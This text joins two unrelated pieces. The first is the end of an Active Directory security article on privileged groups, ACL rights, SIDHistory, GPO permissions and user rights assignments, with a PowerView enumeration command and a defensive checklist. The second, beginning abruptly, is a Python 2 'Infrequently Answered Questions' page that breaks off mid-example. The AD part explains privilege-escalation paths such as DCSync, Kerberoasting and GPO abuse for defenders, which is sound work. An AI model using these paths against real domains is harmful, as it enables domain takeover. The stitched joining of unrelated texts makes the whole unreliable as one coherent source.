Windows Server 2008 R2, functionality was added to manage print
administration. For more information, see Assigning Delegated Print
Administrator and Printer Permission Settings in Windows Server 2008 R2._

**Protected Users**  
Well-known SID/RID: S-1-5-21-<domain>-525  
_Members of the Protected Users group are afforded additional protection
against the compromise of credentials during authentication processes._  
_This security group is designed as part of a strategy to effectively protect
and manage credentials within the enterprise. Members of this group
automatically have non-configurable protection applied to their accounts.
Membership in the Protected Users group is meant to be restrictive and
proactively secure by default. The only method to modify the protection for an
account is to remove the account from the security group._  
_This domain-related, global group triggers non-configurable protection on
devices and host computers running Windows Server 2012 R2 and Windows 8.1, and
on domain controllers in domains with a primary domain controller running
Windows Server 2012 R2. This greatly reduces the memory footprint of
credentials when users sign in to computers on the network from a non-
compromised computer._

_Depending on the account’s domain functional level, members of the Protected
Users group are further protected due to behavior changes in the
authentication methods that are supported in Windows._  
_Members of the Protected Users group cannot authenticate by using the
following Security Support Providers \(SSPs\): NTLM, Digest Authentication, or
CredSSP. Passwords are not cached on a device running Windows 8.1, so the
device fails to authenticate to a domain when the account is a member of the
Protected User group._

_The Kerberos protocol will not use the weaker DES or RC4 encryption types in
the preauthentication process. This means that the domain must be configured
to support at least the AES cipher suite._

_The user’s account cannot be delegated with Kerberos constrained or
unconstrained delegation. This means that former connections to other systems
may fail if the user is a member of the Protected Users group._  
_The default Kerberos ticket-granting tickets \(TGTs\) lifetime setting of
four hours is configurable by using Authentication Policies and Silos, which
can be accessed through the Active Directory Administrative Center. This means
that when four hours has passed, the user must authenticate again._

_The Protected Users group applies to versions of the Windows Server operating
system listed in the Active Directory default security groups by operating
system version._  
_This group was introduced in Windows Server 2012 R2. For more information
about how this group works, see Protected Users Security Group._  
_The following table specifies the properties of the Protected Users group._

**Remote Desktop Users**  
Well-Known SID/RID: S-1-5-32-555  
_The Remote Desktop Users group on an RD Session Host server is used to grant
users and groups permissions to remotely connect to an RD Session Host server.
This group cannot be renamed, deleted, or moved. It appears as a SID until the
domain controller is made the primary domain controller and it holds the
operations master role \(also known as flexible single master operations or
FSMO\)._  
_The Remote Desktop Users group applies to versions of the Windows Server
operating system listed in the Active Directory default security groups by
operating system version._  
_This security group has not changed since Windows Server 2008._

**Schema Admins**  
Well-Known SID/RID: S-1-5-<root domain>-518  
_Members of the Schema Admins group can modify the Active Directory schema.
This group exists only in the root domain of an Active Directory forest of
domains. It is a Universal group if the domain is in native mode; it is a
Global group if the domain is in mixed mode._  
_The group is authorized to make schema changes in Active Directory. By
default, the only member of the group is the Administrator account for the
forest root domain. This group has full administrative access to the schema._  
_The membership of this group can be modified by any of the service
administrator groups in the root domain. This is considered a service
administrator account because its members can modify the schema, which governs
the structure and content of the entire directory._  
_For more information, see What Is the Active Directory Schema?: Active
Directory._  
_The Schema Admins group applies to versions of the Windows Server operating
system listed in the Active Directory default security groups by operating
system version._  
_This security group has not changed since Windows Server 2008._

**Server Operators**  
Well-Known SID/RID: S-1-5-32-549  
_Members in the Server Operators group can administer domain servers. This
group exists only on domain controllers. By default, the group has no members.
Memebers of the Server Operators group can sign in to a server interactively,
create and delete network shared resources, start and stop services, back up
and restore files, format the hard disk drive of the computer, and shut down
the computer. This group cannot be renamed, deleted, or moved._  
_By default, this built-in group has no members, and it has access to server
configuration options on domain controllers. Its membership is controlled by
the service administrator groups, Administrators and Domain Admins, in the
domain, and the Enterprise Admins group. Members in this group cannot change
any administrative group memberships. This is considered a service
administrator account because its members have physical access to domain
controllers, they can perform maintenance tasks \(such as backup and
restore\), and they have the ability to change binaries that are installed on
the domain controllers. Note the default user rights in the following table._  
_The Server Operators group applies to versions of the Windows Server
operating system listed in the Active Directory default security groups by
operating system version._  
_This security group has not changed since Windows Server 2008._

**WinRMRemoteWMIUsers\_**  
Well-Known SID/RID: S-1-5-21-<domain>-1000  
_In Windows 8 and in Windows Server 2012, a Share tab was added to the
Advanced Security Settings user interface. This tab displays the security
properties of a remote file share. To view this information, you must have the
following permissions and memberships, as appropriate for the version of
Windows Server that the file server is running._

_The WinRMRemoteWMIUsers\_ group applies to versions of the Windows Server
operating system listed in the Active Directory default security groups by
operating system version._  
_If the file share is hosted on a server that is running a supported version
of the operating system:_

  * _You must be a member of the WinRMRemoteWMIUsers\_\_ group or the BUILTIN\Administrators group._
  * _You must have Read permissions to the file share._

_If the file share is hosted on a server that is running a version of Windows
Server that is earlier than Windows Server 2012:_

  * _You must be a member of the BUILTIN\Administrators group._
  * _You must have Read permissions to the file share._

_In Windows Server 2012, the Access Denied Assistance functionality adds the
Authenticated Users group to the local WinRMRemoteWMIUsers\_\_ group.
Therefore, when the Access Denied Assistance functionality is enabled, all
authenticated users who have Read permissions to the file share can view the
file share permissions._

_The WinRMRemoteWMIUsers\_ group allows running Windows PowerShell commands
remotely whereas the Remote Management Users group is generally used to allow
users to manage servers by using the Server Manager console._  
_This security group was introduced in Windows Server 2012, and it has not
changed in subsequent versions._

**Active Directory Groups with Privileged Rights on Computers**

Most organizations use Group Policy to add an Active Directory group to a
local group on computers \(typically the Administrators group\). Using
PowerView, we can easily discover the AD groups that have admin rights on
workstations and servers \(which is the typical use case\).

In the following screenshot, we see that the organization has configured the
following GPOs:

GPO: “Add Server Admins to Local Administrator Group”  
Local Group: Administrators  
AD Group: Server Admins \(SID is shown in the example\)

GPO: “Add Workstation Admins to Local Administrator Group”  
Local Group: Administrators  
AD Group: Workstation Admins \(SID is shown in the example\)

<img src='img/Temp2_469.png' width='1852' height='884' />

We can also use PowerView to identify what AD groups have admin rights on
computers by OU.

<img src='img/Temp2_471.png' width='1965' height='788' />

**Active Directory Object Permissions \(ACLs\)**

Similar to file system permissions, Active Directory objects have permissions
as well.

These permissions are called Access Control Lists \(ACLs\). The permissions
set on objects use a cryptic format called Security Descriptor Definition
Language \(SDDL\) which looks like this:  
_D:PAI\(D;OICI;FA;;;BG\)\(A;OICI;FA;;;BA\)\(A;OICIIO;FA;;;CO\)\(A;OICI;FA;;;SY\)\(A;OICI;FA;;;BU\)_

This is translated by the GUI to provide the more user-friendly format we are
used to \(see screenshot below\).

Every Active Directory object has permissions configured on them, either
explicitly defined, or inherited from an object above them \(typically an OU
or the domain\) and the permission can be defined to either allow or deny
permissions on the object and its properties.

When performing Active Directory security assessments, we scan Active
Directory for AD ACLs and identify the accounts/groups with privileged rights
based on the delegation on AD objects such as the domain, OUs, security
groups, etc.

Every object in Active Directory has default permissions applied to it as well
as inherited and any explicit permissions. Given that by default Authenticated
Users have read access to objects in AD, most of their properties and the
permissions defined on the objects, AD objects, their properties and
permissions are easily gathered.

One quick note about AD ACLs. There is an object in the System container
called “AdminSDHolder ” which only has one purpose: to be the permissions
template object for objects \(and their members\) with high levels of
permissions in the domain.

  * SDProp Protected Objects \(Windows Server 2008 & Windows Server 2008 R2\): 
    * Account Operators
    * Administrator
    * Administrators
    * Backup Operators
    * Domain Admins
    * Domain Controllers
    * Enterprise Admins
    * Krbtgt
    * Print Operators
    * Read-only Domain Controllers
    * Replicator
    * Schema Admins
    * Server Operators

About every 60 minutes, the PDC emulator runs a process to enumerate all of
these protected objects and their members and then stamps the permissions
configured on the AdminSDHolder object \(and sets the admin attribute to
‘1’\). This ensures that privileged groups and accounts are protected from
improper AD permission delegation.

It’s extremely difficult to stay on top of custom permissions on AD objects.
For example, the following graphic shows permissions on an OU.

<img src='img/Temp2_473.png' width='1707' height='1259' />

There’s a serious issue with the delegation on this OU which is highlighted
below.  
This issue is delegation to Domain Controllers with Full Control rights on all
objects to this OU and all objects contained in it.

<img src='img/Temp2_474.png' width='1808' height='1333' />

An attacker is most interested in permissions that provide privileged actions.
These ACLs include:

  * **Replicating Directory Changes All**: An Extended Right that provides the ability to replicate all data for an object, including password data \(I call this the Domain Controller impersonation right\) which provides the ability to “DCSync” the password data for AD users and computers.Example: FIM, Riverbed, SharePoint, and other applications often have a service account granted this right on the domain root. If an attacker can guess this password \(or potentially crack it by Kerberoasting\), they now own the domain since they can DCSync password hashes for all AD users and computers \(including Domain Admins and Domain Controllers\).
  * **GenericAll** : GenericAll = Full Control  
_The right to create or delete children, delete a subtree, read and write
properties, examine children and the object itself, add and remove the object
from the directory, and read or write with an extended right._  
It provides full rights to the object and all properties, including
confidential attributes such as LAPS local Administrator passwords, and
BitLocker recovery keys. In many cases, Full Control rights aren’t required,
but it’s easier to delegate and get working than determining the actual rights
required.  
Example: A Server tier group may be delegated Full Control on all Computer
objects in an OU that has the computer objects associated with servers.
Another common configuration is delegating Full Control on all Computer
objects in the Workstations OU for the Desktop Support group, and delegating
Full Control on all user objects in the Users OU for the Help Desk.

  * **GenericWrite** : Provides write access to all properties.  
_The right to read permissions on this object, write all the properties on
this object, and perform all validated writes to this object._

  * **WriteDACL** : Provides the ability to modify security on an object which can lead to Full Control of the object.  
_The right to modify the DACL in the object security descriptor._  
Example: A service account may be granted this right to perform delegation in
AD. If an attacker can guess this password \(or potentially crack it by
Kerberoasting\), they now set their own permissions on associated objects
which can lead to Full Control of an object which may involve exposure of a
LAPS controlled local Administrator password.

  * **Self:** Provides the ability to perform validated writes.  
_The right to perform an operation that is controlled by a validated write
access right._  
Validated writes include the following attributes:

    * Self-Membership\(bf9679c0-0de6-11d0-a285-00aa003049e2 / member attribute\)
    * Validated-DNS-Host-Name  
\(72e39547-7b18-11d1-adef-00c04fd8d5cd / dNSHostName attribute\)

    * Validated-MS-DS-Additional-DNS-Host-Name  
\(80863791-dbe9-4eb8-837e-7f0ab55d9ac7 / msDS-AdditionalDnsHostName
attribute\)

    * Validated-MS-DS-Behavior-Version  
\(d31a8757-2447-4545-8081-3bb610cacbf2 / msDS-Behavior-Version attribute\)

    * Validated-SPN  
\(f3a64788-5306-11d1-a9c5-0000f80367c1 / servicePrincipalName attribute\)

  * **WriteOwner:** : Provides the ability to take ownership of an object. The owner of an object can gain full control rights on the object.  
_The right to assume ownership of the object. The user must be an object
trustee. The user cannot transfer the ownership to other users_.

  * **WriteProperty** : Typically paired with specific attribute/property information.Example: The help desk group is delegated the ability to modify specific AD object properties like Member \(to modify group membership\), Display Name, Description, Phone Number, etc.
  * **CreateChild** : Provides the ability to create an object of a specified type \(or “All”\).
  * **DeleteChild** : Provides the ability to delete an object of a specified type \(or “All”\).
  * **Extended Right**: This is an interesting one because if provides additional rights beyond the obvious.Example: All Extended Right permissions to a computer object may provide read access to the LAPS Local Administrator password attribute.

Andy Robbin’s \(@\_Wald0\) post covers ways these rights can be abused.

The ability to create and link GPOs in a domain should be seen as effective
Domain Admin rights since it provides the ability to modify security settings,
install software, configure user and computer logon \(and startup/shutdown\)
scripts, and run commands.

  * **Manage Group Policy link \(LinkGPO\)**: Provides the ability to link an existing Group Policy Object in Active Directory to the domain, OU, and/or site where the right is defined. _By default, GPO Creator Owners has this right.  
_

  * **Create GPOs** : By default, the AD group Group Policy Creator Owners has this right. Can be delegated via the Group Policy Management Console \(GPMC\).

PowerView provides the ability to to search AD permissions for interesting
rights.

<img src='img/Temp2_475.png' width='694' height='384' />

<img src='img/Temp2_468.png' width='699' height='384' />

**SIDHistory**

SID History is an attribute that supports migration scenarios. Every user
account has an associated Security IDentifier \(SID\) which is used to track
the security principal and the access the account has when connecting to
resources. SID History enables access for another account to effectively be
cloned to another. This is extremely useful to ensure users retain access when
moved \(migrated\) from one domain to another. Since the user’s SID changes
when the new account is created, the old SID needs to map to the new one. When
a user in Domain A is migrated to Domain B, a new user account is created in
DomainB and DomainA user’s SID is added to DomainB’s user account’s SID
History attribute. This ensures that DomainB user can still access resources
in DomainA.

This means that if an account has privileged accounts or groups in its
SIDHistory attribute, the account receives all the rights assigned to those
accounts or groups, be they assigned directly or indirectly. If an attacker
gains control of this account, they have all of the associated rights. The
rights provided via SIDs in SIDHistory are likely not obvious and therefore
missed.

**Group Policy Permissions**

Group Policy Objects \(GPOs\) are created, configured, and linked in Active
Directory. When a GPO is linked to an OU, the settings in the GPO are applied
to the appropriate objects \(users/computers\) in that OU.

Permissions on GPOs can be configured to delegate GPO modify rights to any
security principal.

If there are custom permissions configured on Group Policies linked to the
domain and an attacker gains access to an account with modify access, the
domain can be compromised. An attacker modifies GPO settings to run code or
install malware. The impact of this level of access depends on where the GPO
is linked. If the GPO is linked to the domain or Domain Controllers container,
they own the domain. IF the GPO is linked to a workstations or servers OU, the
impact may be less somewhat; however, the ability to run code on all
workstations or servers, it may be possible to still compromise the domain.

Scanning for GPO permissions identifies which GPOs are improperly permissioned
and scanning for where the GPO is linked determines the impact.

Fun fact: The creator of a Group Policy retains modify rights to the GPO. A
possible result is that a Domain Admin needs to set an audit policy for the
domain, but discovers that an OU admin has already created a GPO with the
required settings. So, the Domain Admin links this GPO to the domain root
which applies the settings to all computers in the domain. The problem is the
OU admin can still modify a GPO that is now linked to the domain root
providing an escalation path if this OU admin account is compromised. The
following graphic shows the OU Admin “Han Solo” with GPO edit rights.

<img src='img/Temp2_472.png' width='709' height='481' />

PowerView provides a quick way to scan all the permissions for all domain
GPOs:

[code]

    Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
[/code]

Reference: Abusing GPO Permissions

**User Rights Assignment**

User Rights Assignments are frequently configured in a computer GPO and
defines several rights to the computer.

Domain Controllers are often configured with User Rights Assignments in the
Default Domain Controllers Policy applied to the Domain Controllers container.
Parsing the GPOs linked to Domain Controllers provides useful information
about security principals with elevated rights to DCs and the domain.

These assignments include:

  * SeTrustedCredManAccessPrivilege: Access Credential Manager as a trusted caller
  * SeNetworkLogonRight: Access this computer from the network
  * SeTcbPrivilege: Act as part of the operating system
  * SeMachineAccountPrivilege: Add workstations to domain
  * SeIncreaseQuotaPrivilege: Adjust memory quotas for a process
  * SeInteractiveLogonRight: Allow log on locally
  * SeRemoteInteractiveLogonRight: Allow log on through Remote Desktop Services
  * SeBackupPrivilege: Back up files and directories
  * SeChangeNotifyPrivilege: Bypass traverse checking
  * SeSystemtimePrivilege: Change the system time
  * SeTimeZonePrivilege: Change the time zone
  * SeCreatePagefilePrivilege: Create a pagefile
  * SeCreateTokenPrivilege: Create a token object
  * SeCreateGlobalPrivilege: Create global objects
  * SeCreatePermanentPrivilege: Create permanent shared objects
  * SeCreateSymbolicLinkPrivilege: Create symbolic links
  * SeDebugPrivilege: Debug programs
  * SeDenyNetworkLogonRight: Deny access to this computer from the network
  * SeDenyBatchLogonRight: Deny log on as a batch job
  * SeDenyServiceLogonRight: Deny log on as a service
  * SeDenyInteractiveLogonRight: Deny log on locally
  * SeDenyRemoteInteractiveLogonRight: Deny log on through Remote Desktop Services
  * SeEnableDelegationPrivilege: Enable computer and user accounts to be trusted for delegation
  * SeRemoteShutdownPrivilege: Force shutdown from a remote system
  * SeAuditPrivilege: Generate security audits
  * SeImpersonatePrivilege: Impersonate a client after authentication
  * SeIncreaseWorkingSetPrivilege: Increase a process working set
  * SeIncreaseBasePriorityPrivilege: Increase scheduling priority
  * SeLoadDriverPrivilege: Load and unload device drivers
  * SeLockMemoryPrivilege: Lock pages in memory
  * SeBatchLogonRight: Log on as a batch job
  * SeServiceLogonRight: Log on as a service
  * SeSecurityPrivilege: Manage auditing and security log
  * SeRelabelPrivilege: Modify an object label
  * SeSystemEnvironmentPrivilege: Modify firmware environment values
  * SeManageVolumePrivilege: Perform volume maintenance tasks
  * SeProfileSingleProcessPrivilege: Profile single process
  * SeSystemProfilePrivilege: Profile system performance
  * SeUndockPrivilege: Remove computer from docking station
  * SeAssignPrimaryTokenPrivilege: Replace a process level token
  * SeRestorePrivilege: Restore files and directories
  * SeShutdownPrivilege: Shut down the system
  * SeSyncAgentPrivilege: Synchronize directory service data
  * SeTakeOwnershipPrivilege: Take ownership of files or other objects

The interesting ones in this list \(especially in GPOs that apply to Domain
Controllers\):

  * Allow logon locally & Allow logon over Remote Desktop Services: Provides logon rights.
  * Manage auditing and security log: Provides the ability to view all events in the event logs, including security events, and clear the event log.  
Fun Fact: Exchange Servers require this right, which means that if an attacker
gains System rights on an Exchange server, they can clear Domain Controller
security logs.

  * Synchronize directory service data: _“This policy setting determines which users and groups have authority to synchronize all directory service data, regardless of the protection for objects and properties. This privilege is required to use LDAP directory synchronization \(dirsync\) services. Domain controllers have this user right inherently because the synchronization process runs in the context of the**System** account on domain controllers.”  
_This means that an acocunt with this user right on a Domain Controller may be
able to run DCSync.

  * Enable computer and user accounts to be trusted for delegation: Provides the ability to configure delegation on computers and users in the domain.  
Fun Fact: This provides the ability to set Kerberos delegation on a computer
or user account.

  * Impersonate a client after authentication: This one looks like some fun could be had with it…

**Putting it all together**

In order to effectively identify all accounts with privileged access, it’s
important to ensure that all avenues are explored to effectively identify the
rights. This means that defenders need to check the permission on AD objects,
starting with Organizational Units \(OUs\) and then branching out to security
groups.

Things to check:

  * Enumerate group membership of default groups \(including sub-groups\). Identify what rights are required and remove the others.
  * Scan Active Directory \(specifically OUs & security groups\) for custom delegation.
  * Scan for accounts with SIDHistory \(should only be required during an active migration from one domain to another\).
  * Review User Rights Assignments in GPOs that apply to Domain Controllers, Servers, and Workstations.
  * Review GPOs that add AD groups to local groups and ensure these are still required and the level of rights are appropriate.

Tools for Checking Active Directory Permissions:

  * Bloodhound
  * PowerView \(modules used in Bloodhound\)
  * AD ACL Scanner

**Confused by this and want some help unraveling the AD permissions in your
organization?  
Contact Trimarc, we love this stuff\! <img src='img/1f642.svg' width='12'
height='12' alt='🙂' />**

**References**

  * BloodHound 1.3 – The ACL Attack Path Update  
https://wald0.com/?p=112

  * Abusing Active Directory Permissions with PowerView  
http://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-
with-powerview/

  * Abusing GPO Permissions  
http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/

  * AD DS Owner Rights  
https://technet.microsoft.com/en-us/library/dd125370\(v=ws.10\).aspx

  * Security Descriptor Definition Language for Conditional ACEs  
https://msdn.microsoft.com/en-
us/library/windows/desktop/dd981030\(v=vs.85\).aspx

  * Sneaky Active Directory Persistence \#15: Leverage AdminSDHolder & SDProp to \(Re\)Gain Domain Admin Rights  
https://adsecurity.org/?p=1906

  * The Security Descriptor Definition Language of Love \(Part 1\)  
https://blogs.technet.microsoft.com/askds/2008/04/18/the-security-descriptor-
definition-language-of-love-part-1/

  * ActiveDirectoryRights Enumeration  
https://msdn.microsoft.com/en-
us/library/system.directoryservices.activedirectoryrights\(v=vs.110\).aspx

  * Bloodhound
  * PowerView
  * AD ACL Scanner
  * AD Security: SIDHistory
  * User Rights Assignments
  * Active Directory Security Groups
  * ActiveDirectoryRights Enumeration

  

# Python IAQ: Infrequently Answered Questions

**Created:**| _4/22/2010 6:49:58 PM_  
---|---  
**Updated:**| _4/22/2010 6:50:17 PM_  
**Author:**| __  
**Tags:**| _bookmark python LOLZ programming awesome_  
  

# The Python IAQ:  
Infrequently Answered Questions  
---  
## by Peter Norvig

**Q: What is an Infrequently Answered Question?**  
---  
A question is infrequently answered either because few people know the answer
or because it concerns an obscure, subtle point \(but a point that may be
crucial to you\). I thought I had invented the term for my Java IAQ, but it
also shows up at the very informative About.com Urban Legends site. There are
lots of Python FAQs around, but this is the only Python IAQ, except for the
**Chinese translation** of this page by Weiyang Chen, the Russian translation
by Alexander Sviridenko, and the **Japanese translation** by Akihiro Takizawa.
\(There are a few Infrequently  _Asked_ Questions lists, including a satirical
one on C.\)

**Q: The code in a` finally` clause will never fail to execute, right?**  
---  
What never? Well, hardly ever. The code in a `finally` clause does get
executed after the `try` clause whether or not there is an exception, and even
if `sys.exit` is called. However, the `finally` clause will not execute if
execution never gets to it. This would happen regardless of the value of
`choice` in the following:

[code]

    try:
        if choice:
            while 1:
                pass
        else:
            print "Please pull the plug on your computer sometime soon..."
            time.sleep(60 * 60 * 24 * 365 * 10000)
    finally:
        print "Finally ..."
    
    
[/code]  
---  
**Q: Polymorphism is great; I can sort a list of elements of any type,
right?**  
---  
Wrong. Consider this:

[code]

    >>> x = [1, 1j]
    >>> x.sort()
    Traceback (most recent call last):
      File "<pyshell#13>", line 1, in ?
        x.sort()
    TypeError: cannot compare complex numbers using <, <=, >, >=
    
    
[/code]  
---  
\(The number `1j` is the square root of -1.\) The problem is that the `sort`
method \(in the current implementation\), compares elements using the `__lt__`
method, which refuses to compare complex numbers \(because they are not
orderable\). Curiously, `complex.__lt__` has no qualms about comparing complex
numbers to strings, lists, and every other type except complex numbers. So the
answer is you can sort a sequence of objects that support the `__lt__` method
\(and possibly other methods if the implementation happens to change\).

As for the first part of the question, "Polymorphism is great", I would agree,
but Python sometimes makes it difficult because many Python types \(such as
sequence, and number\) are defined informally.

**Q: Can I do ++x and x++ in Python?**  
---  
Literally, yes and no; but for practical purposes, no. What do I mean by that?

  * **Yes** , `++x` is legal Python, but it won't mean what you think it should mean if you're a C++ or Java programmer. The `+` is a unary prefix operator, so `++x` is parsed as`+(+(x))`, which \(at least for numbers\) results in just `x`.
  * **No** , `x++` by itself is not a legal expression, although there are contexts where it is legal. For example, `x++ - y` is parsed as `x + +(-(y))`, so this is equivalent to `x - y`for numbers. Now of course you  _could_ create a class where `++x` made \(a limited amount of\) sense; for example the class could hold a number and have the unary + operator increment it by 0.5 \(or increment it by 1 with probability 0.5 if you like randomized algorithms\), but ...
  * **No** , that would be silly. Better to stick with `x += 1`, which was added in Python 2.0.

The deeper question is:  _why_ doesn't Python allow `x++`? I believe it is the
same reason why Python does not allow assignments in expressions: Python wants
to clearly separate statements and expressions. If you believe they should be
distinct, then disallowing `++` is probably the best decision. On the other
hand, advocates of functional languages argue that statements should be
expressions. I'm with my fellow Dane, Bjarne Stroustrup, on this one. He said
in  _The Design and Evolution of C++_ \`\`If I were to design a language from
scratch, I would follow the Algol68 path and make every statement and
declaration an expression that yields a value''.

**Q: Can I use C++'s syntax for ostreams: cout<< x << y ... ?**  
---  
You can. If you don't like writing \`\`print x, y'' then you can try this:

[code]

    import sys
    
    class **ostream** :
        def **__init__**(self, file):
            self.file = file
            
        def **__lshift__**(self, obj):
            self.file.write(str(obj));
            return self
    
    **cout** = ostream(sys.stdout)
    **cerr** = ostream(sys.stderr)
    **nl** = '\n'
    
    
[/code]

* * *
[code]

    cout << x << " " << y << nl
    
    
[/code]  
---  
_\(This document shows code that belongs in a file above the horizontal line
and example uses of it below the line.\)_ This gives you a different syntax,
but it doesn't give you a new convention for printing--it just packages up the
`str` convention that already exists in Python. This is similar to the
`toString()` convention in Java. C++ has a very different convention: instead
of a canonical way to convert an object to a string, there is a canonical way
to print an object to a stream \(well, semi-canonical---a lot of C++ code
still uses `printf`\). The stream approach is more complicated, but it does
have the advantage that if you need to print a really huge object you needn't
create a really huge temporary string to do it.

**Q: What if I like C++'s` printf`?**  
---  
It's not a bad idea to define a `printf` in Python. You could argue that
`printf("%d = %s", num, result)` is more natural than `print "%d = %s" % (num,
result),` because the parens are in a more familiar place \(and you get to
omit the `%`\). Furthermore, it's oh-so-easy:

[code]

    def printf(format, *args): print format % args,
    
    
[/code]  
---  
Even in a one-liner like this, there are a few subtleties. First, I had to
decide whether to add the comma at the end or not. To be more like C++, I
decided to add it \(which means that if you want a newline printed, you have
to add it yourself to the end of the format string\). Second, this will still
print a trailing space. If you don't want that, use`sys.stdout.write` instead
of `print`. Third, is this good for anything besides being more C-like? Yes;
you need a printing function \(as opposed to a print statement\) for use in
places that accept functions, but not statements, like in lambda expressions
and as the first argument to `map`. In fact, such a function is so handy, that
you probably want one that does not do formatting:

[code]

    def prin(x): print x,
    
    
[/code]  
---  
Now `map(prin, seq)` will print each element of `seq`, but `map(print, seq)`
is a syntax error. I've seen some careless programmers \(well, OK, it was me,
but I  _knew_ I was being careless\) think it would be a good idea to fit both
these functions into one, as follows:

[code]

    def **printf**(format, *args): print str(format) % args,
    
    
[/code]  
---  
Then `printf(42)`, `printf('A multi-line\n message')` and `printf('%4.2f',
42)` all work. But the \`\`good idea'' thought gets changed to \`\`what was I
thinking'' as soon as you do `printf('100% guaranteed')`, or anything else
with a `%` character that is not meant as a formatting directive. If you do
implement this version of `printf`, it needs a comment like this:

[code]

    def **printf**(format, *args): 
        """Format args with the first argument as format string, and print.
        If the format is not a string, it is converted to one with str.
        You must use printf('%s', x) instead of printf(x) if x might
        contain % or backslash characters."""
        print str(format) % args,
    
    
[/code]  
---  
**Q: Is there a better syntax for dictionary literals? All my keys are
identifiers.**  
---  
Yes\! I agree that it can be tedious to have to type the quote marks around
your keys, especially for a large dictionary literal. At first I thought it
might be a useful change to Python to add special syntax for this; maybe
`{a=1, b=2}` for what you now have to write as `{'a':1, 'b':2}`. As of Python
2.3 you can use the syntax `dict(a=1, b=2, c=3, dee=4)`, which is good enough
as far as I'm concerned. Before Python 2.3 I used the one-line function `def
**Dict**(**dict): return dict`

A reader suggested that Perl has a similar special notation for hashes; you
can write either `("a", 1, "b", 2}` or `(a => 1, b => 2)` for hash literals in
Perl. This is the truth, but not the whole truth. "man perlop" says "The `=>`
digraph is mostly just a synonym for the comma operator ..." and in fact you
can write `(a, 1, b, 2)`, where `a` and `b` are barewords. But, as Dag Asheim
points out, if you turn strict on, you'll get an error with this; you must use
either strings or the `=>` operator. And Larry Wall has proclaimed that "There
will be no barewords in Perl 6."

**Q: Is there a similar shortcut for objects?**  
---  
Indeed there is. When all you want to do is create an object that holds data
in several fields, the following will do:

[code]

    class **Struct** :
        def **__init__**(self, **entries): self.__dict__.update(entries)
    
    
[/code]

* * *
[code]

    >>> options = Struct(answer=42, linelen = 80, font='courier')
    >>> options.answer
    42
    >>> options.answer = 'plastics'
    >>> vars(options)
    {'answer': 'plastics', 'font': 'courier', 'linelen': 80}
    
[/code]  
---  
Essentially what we are doing here is creating an  _anonymous class_. OK, I
know that the class of `options` is `Struct`, but because we are adding slots
to it, its like creating a new, unnamed class \(in much the same way that
`lambda` creates anonymous functions\). I hate to mess with `Struct` because
it is so concise the way it is, but if you add the following method then you
will get a nice printed version of each structure:

[code]

        def **__repr__**(self):
            args = ['%s=%s' % (k, repr(v)) for (k,v) in vars(self).items()]
            return 'Struct(%s)' % ', '.join(args)
    
    
[/code]

* * *
[code]

    >>> options
    Struct(answer='plastics', font='courier', linelen=80)
    
[/code]  
---  
**Q: That's great for creating objects; How about for updating?**  
---  
Well, dictionaries have an `update` method, so you could do
`d.update(dict(a=100, b=200))` when `d` is a dictionary. There is no
corresponding method for objects, so you have to do `obj.a = 100; obj.b =
200`. Or you could define one function to let you do `update(x, a=100, b=200)`
when `x` is either a dictionary or an object:

[code]

    import types
    
    def **update**(x, **entries):
        if type(x) == types.DictType: x.update(entries)
        else: x.__dict__.update(entries)
        return x
    
[/code]  
---  
This is especially nice for constructors:

[code]

          def **__init__**(self, a, b, c, d=42, e=None, f=()):
            update(self, a=a, b=b, c=c, d=d, e=e, f=f)
      
    
[/code]  
---  
**Q: Can I have a dict with a default value of 0 or \[ \] or something?**  
---  
I sympathize that if you're keeping counts of something, it's much nicer to be
able to say `count[x] += 1` than to have to say `count[x] = count.get(x, 0) +
1`. And as of Python 2.2, it is easy to subclass the builtin `dict` class to
do this. I call my version DefaultDict. Note the use of `copy.deepcopy`; it
wouldn't do to have every key in the dict share the same `[]` as the default
value \(we waste time copying 0, but the time lost is not too bad if you do
more updates and accesses than initializations\):

[code]

    class **DefaultDict**(dict):
        """Dictionary with a default value for unknown keys."""
        def __init__(self, default):
            self.default = default
    
        def __getitem__(self, key):
            if key in self: return self.get(key)
            return self.setdefault(key, copy.deepcopy(self.default))
    
    
[/code]

* * *
[code]

    >>> d = DefaultDict(0)
    >>> d['hello'] += 1
    >>> d
    {'hello': 1}
    >>> d2 = DefaultDict([])
    >>> d2[1].append('hello')
    >>> d2[2].append('world')
    >>> d2[1].append('there')
    >>> d2
    {1: ['hello', 'there'], 2: ['world']}
    
    def **bigrams**(words):
        "Counts of word pairs, in a dict of dicts."
        d = DefaultDict(DefaultDict(0))
        for (w1, w2) in zip([None] + words, words + [None]):
            d[w1][w2] += 1
        return d
    
    >>> bigrams('i am what i am'.split())
    {None: {'i': 1}, 'i': {'am': 2}, 'what': {'i': 1}, 'am': {None: 1, 'what': 1}}
    
[/code]  
---  
Note that without `DefaultDict` the `d[w1][w2] += 1` in the bigram example
would have to be something like:

`d.setdefault(w1,{}).setdefault(w2, 0); d[w1][w2] += 1`

**Q: Hey, can you write code to transpose a matrix in 0.007KB or less?**  
---  
I thought you'd never ask. If you represent a matrix as a sequence of
sequences, then `zip` can do the job:

[code]

    >>> m = [(1,2,3), (4,5,6)]
    >>> **zip(*m)**
    [(1, 4), (2, 5), (3, 6)]
    
[/code]  
---  
To understand this, you need to know that `f(*m)` is like `apply(f, m)`. This
is based on an old Lisp question, the answer to which is Python's equivalent
of `map(None,*m)`, but the `zip` version, suggested by Chih-Chung Chang, is
even shorter. You might think this is only useful for an appearance on
Letterman's Stupid Programmer's Tricks, but just the other day I was faced
with this problem: given a list of database rows, where each row is a list of
ordered values, find the list of unique values that appear in each column. So
I wrote:

[code]

    possible_values = map(unique, zip(*db))
    
    
[/code]  
---  
**Q: The` f(*m)` trick is cool. Does the same syntax work with method calls,
like `x.f(*y)?`**  
---  
This question reveals a common misconception. There is no syntax for method
calls\! There is a syntax for calling a function, and there is a syntax for
extracting a field from an object, and there are bound methods. Together these
three features conspire to make it look like `x.f(y)` is a single piece of
syntax, when actually it is equivalent to`(x.f)(y)`, which is equivalent to
`(getattr(x, 'f'))(y)`. I can see you don't believe me. Look:

[code]

    class **X** :
        def f(self, y): return 2 * y
    
    
[/code]

* * *
[code]

    >>> x = X()
    >>> x.f
    <bound method X.f of <__main__.X instance at 0x009C7DB0>>
    >>> y = 21
    >>> x.f(y)
    42
    >>> (x.f)(y)
    42
    >>> (getattr(x, 'f'))(y)
    42
    >>> xf = x.f
    >>> xf(y)
    42
    >>> map(x.f, range(5))
